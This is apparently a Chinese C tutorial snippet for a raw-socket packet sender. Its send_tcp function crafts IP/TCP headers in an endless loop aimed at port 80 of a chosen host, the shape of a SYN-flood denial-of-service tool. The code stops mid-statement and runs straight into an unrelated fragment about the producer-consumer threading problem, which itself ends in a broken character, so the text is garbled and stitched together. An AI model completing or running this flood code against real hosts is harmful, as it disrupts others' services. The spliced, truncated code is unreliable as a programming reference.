/*
注意：
这次主要改了函数send_tcp里的代码，旧的代码在填充ip包时有问题。
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define SRCPORT 1234
#define DSTPORT 80
struct prseuheader
{
unsigned long s_addr;
unsigned long d_addr;
unsigned char zero;
unsigned char prototp;
unsigned short len;
};
void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on = 1;
if (argc != 2) {
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
exit(1);
}
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);
if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = gethostbyname(argv[1]);
if (host == NULL) {
fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
exit(1);
}
addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);
}
//创建一个TCP的原始套接字
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
exit(1);
}
//设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//只用超级护用户才可以使用原始套接字
setuid(getpid());
send_tcp(sockfd, &addr);
return 0;
}
void send_tcp(int sockfd, struct sockaddr_in *addr)
{
while (1)
{
char buffer[100];
char tcpbuff[32];
struct ip *ip;
struct tcphdr *tcp;
struct prseuheader theheader;
int head_len;
head_len = sizeof(struct ip) + sizeof(struct tcphdr);
memset((void*)buffer,'\0',100) ;
//填充IP数据包头
ip = (struct ip *) buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos =
操作系统的一个经典问题是"生产者-消费者"问题, 这涉及同步信号量和互斥信号量的应用, 在这里,我用线程的同步和互斥来实现.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#define N 2 // 消费者� ......
